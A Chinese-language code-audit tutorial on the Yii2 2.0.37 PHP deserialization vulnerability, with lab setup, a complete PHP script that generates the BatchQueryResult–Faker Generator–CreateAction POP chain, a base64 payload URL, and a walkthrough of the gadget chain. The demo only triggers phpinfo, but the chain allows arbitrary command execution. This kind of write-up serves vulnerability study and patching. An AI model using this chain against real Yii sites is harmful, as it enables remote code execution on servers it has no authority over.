15-PHP代码审计——yii 2.0.37反序列化漏洞

Yii是一套基于组件、用于开发大型Web应用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞,攻击者可通过构造特定的恶意请求执行任意命令。

 

影响版本:

yii2 v2.0.37版本以下

环境:

yii-basic-app-2.0.37.tgz

php7.0以上

poc:

http://www.yii2.com/web/index.php?r=test/sss&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xv 

在github上下载yii框架,网址:https://github.com/yiisoft/yii2/releases/tag/2.0.37

下载完成后,把yii2解压到网站的根目录下,打开浏览器访问yii项目的目录下的requirements.php文件,访问http://www.yii2.com/requirements.php

15-PHP代码审计——yii 2.0.37反序列化漏洞

如果出现以上页面再修改yii项目的config目录下的web.php文件

 

 

 

这里我是放在phpstudy的www目录是C:phpStudyPHPTutorialWWWyii2.comconfig,将cookieValidationKey的值随便修改成一个字符串,这里我直接修改成123。

15-PHP代码审计——yii 2.0.37反序列化漏洞

 

 

修改完web.php文件后再访问http://www.yii2.com/web/index.php,如果出现以下页面说明安装成功

15-PHP代码审计——yii 2.0.37反序列化漏洞

 

 

安装完成后,在yii项目的controllers目录下新建一个TestController.php文件,并编写如下代码

15-PHP代码审计——yii 2.0.37反序列化漏洞

 

 

生成poc的代码,如下所示:

<?php namespace yiirest{     class CreateAction{         public $checkAccess;         public $id;          public function __construct(){             $this->checkAccess = 'phpinfo';             $this->id = '1';         }     } }  namespace Faker{     use yiirestCreateAction;     class Generator{         protected $formatters;          public function __construct(){             $this->formatters['close'] = [new CreateAction(), 'run'];         }     } }  namespace yiidb{     use FakerGenerator;     class BatchQueryResult{         private $_dataReader;          public function __construct(){             $this->_dataReader = new Generator;         }     } } namespace{ //进行序列化和base64编码     echo base64_encode(serialize(new yiidbBatchQueryResult)); } ?>

执行以上poc代码,生成payload数据。

 

 

然后我们再访问之前提交的poc,浏览器直接回显了phpinfo页面,说明yii反序列化漏洞利用成功

15-PHP代码审计——yii 2.0.37反序列化漏洞

 

接下来从之前自定义的TestController.php文件开始分析yii的反序列化漏洞。

当TestController反序列化时会调用BaseYii类的静态方法autoload依次完成pop利用链的初始化操作(__construct),yii反序列化漏洞的利用点是BatchQueryResult类的__destruct方法。

public function __destruct(){     // make sure cursor is closed     $this->reset(); }

 

接着又调用了reset方法:

public function reset(){     if ($this->_dataReader !== null) {         $this->_dataReader->close();     }     $this->_dataReader = null;     $this->_batch = null;     $this->_value = null;     $this->_key = null; }

reset方法中通过_dataReader属性又调用了close方法,那么_dataReader应该指向了一个对象。

 

而前面构造的poc中_dataReader属性指向了Generator对象,但Generator类并没有close方法,当一个对象调用了不可访问的方法时会触发__call方法,因此$this->_dataReader->close()这一步实际上会调用__call方法

public function __call($method, $attributes){     return $this->format($method, $attributes); }

 

 

__call方法内部又调用了format方法,该方法内部调用调用了getFormatter函数和call_user_func_array函数,对php函数比较熟悉的同学应该知道,call_user_func_array是一个危险的函数,也就是说前面的__call方法其实是作为一个“跳板”,我们需要通过__call函数来间接调用call_user_func_array函数。

public function format($formatter, $arguments = array()){     return call_user_func_array($this->getFormatter($formatter), $arguments); }

注意:call_user_func_array函数有两个参数,其中第二个参数是不可控的,重点关注第一个参数。

 

 

先分析getFormatter函数,该函数内部先判断是否设置了formatters,然后获取formatters的内容返回,说明formatters可控的,因此在构造pop利用链时可以指定formatters属性的内容

public function getFormatter($formatter){     if (isset($this->formatters[$formatter])) {         return $this->formatters[$formatter];     }     foreach ($this->providers as $provider) {         if (method_exists($provider, $formatter)) {             $this->formatters[$formatter] = array($provider, $formatter);              return $this->formatters[$formatter];         }     }     throw new InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter)); }

 

接着就调用了call_user_func_array方法并将getFormatter函数获取到的内容以数组的方式作为参数,call_user_func_array函数会根据第一个参数的内容调用了run方法。

public function run(){     if ($this->checkAccess) {         call_user_func($this->checkAccess, $this->id);     }      /* @var $model yiidbActiveRecord */     $model = new $this->modelClass([         'scenario' => $this->scenario,     ]);     $model->load(Yii::$app->getRequest()->getBodyParams(), '');     if ($model->save()) {         $response = Yii::$app->getResponse();         $response->setStatusCode(201);         $id = implode(',', array_values($model->getPrimaryKey(true)));         $response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true));     } elseif (!$model->hasErrors()) {         throw new ServerErrorHttpException('Failed to create the object for unknown reason.');     }     return $model; }

run方法内部通过this对象拿到checkAccess和id(就是phpinfo和1),然后调用 call_user_func危险函数远程执行命令操作。

 

 

这里肯定有小伙伴很疑惑CreateAction类的run方法是如何被调用的,在这之前,先来学习一下call_user_func_array函数的用法

<?php /**  * Created by PhpStorm.  * User: test  * Date: 2021/6/6  * Time: 15:58  */  //Test类有成员方法和静态方法 class Test{     public function fun1(){         printf("---function fun1---");     }      public static function fun2(){         printf("---function fun2---");     } }  //直接调用类中的成员方法和静态方法,需要将类名和方法以数组的方式传递 //不实例化来调用Test类的成员方法 call_user_func_array(array("Test", "fun1") , array()); //不实例化来调用Test类的静态方法 call_user_func_array(array("Test","fun2") , array());   //实例化对象调用方法,需要将对象和方法以数组的方式传递 //实例化调用方法 call_user_func_array(array(new test , "fun1") , array());

 

执行结果如下:

---function fun1------function fun2------function fun1---

 

在前面的分析中我们知道call_user_func_array函数的第一个参数是由getFormatter函数返回的,也就是说getFormatter函数其实返回的是一个数组,该数组的内容为[new CreateAction , "run"],通过将对象和成员方法以数组的形式作为参数传递给call_user_func_array函数实现调用CreateAction类的run方法,这是一个非常巧妙的利用思路。

 

最后整理一下yii反序列化漏洞的pop利用链:

15-PHP代码审计——yii 2.0.37反序列化漏洞

到此,漏洞分析完成。

 

 

参考文章:

https://blog.